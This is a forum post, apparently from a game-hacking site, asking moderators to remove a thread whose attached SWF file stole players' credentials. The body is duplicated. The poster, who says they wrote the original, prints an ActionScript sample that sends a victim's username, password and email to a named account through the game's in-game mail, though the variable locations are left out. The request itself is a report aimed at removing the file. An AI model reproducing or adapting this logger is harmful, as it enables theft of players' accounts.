Could someone remove this thread...
http://www.mpgh.net/forum/showthread.php?t=831163
that thread had an attachment on it. The attachment lead to a SWF flash logger that's possible to be created in that specific game. The game has a built in Private Messaging system which you can abuse with SWF files to steal a users email, password, and username. I know it because i created the source to it
update:
apparently, some of you can't read or know what "past tense" words are. So i bolded it and will explain that there WAS an attachment. I was informed by someone that DID download the file before the attachments removal about what it was doing and knew straight away what the file actually was.
in that file, you would have found source that read something like this
i'm obviously not going to post the XML string location to the username password and email for those variables, but that's how easy it was.
Now since you see the sample of what that was, it should give more of a reason to remove the thread before the original poster re-attaches the file and ban the user.
that thread had an attachment on it. The attachment lead to a SWF flash logger that's possible to be created in that specific game. The game has a built in Private Messaging system which you can abuse with SWF files to steal a users email, password, and username. I know it because i created the source to it
update:
apparently, some of you can't read or know what "past tense" words are. So i bolded it and will explain that there WAS an attachment. I was informed by someone that DID download the file before the attachments removal about what it was doing and knew straight away what the file actually was.
in that file, you would have found source that read something like this
Code:
function SendInGameMail() {
var _loc1 = new LoadVars();
_loc1.tu = "supercarz1991"; // to user
_loc1.s = "Account info"; //subject line
_loc1.b = "Username: " + User + " Pass: " + pass + " email: " + email + " END";
_loc1.i = Number(1);
getURL("lingo: executeCall \"sendemail\", \"" + _loc1.toString() + "\"", "");
}
onEnterFrame = function() { //could also be on button click which that one was
SendInGameMail(); //calls email function for you illiterate idiots who can't read code
}
Now since you see the sample of what that was, it should give more of a reason to remove the thread before the original poster re-attaches the file and ban the user.
Originally Posted by Anti
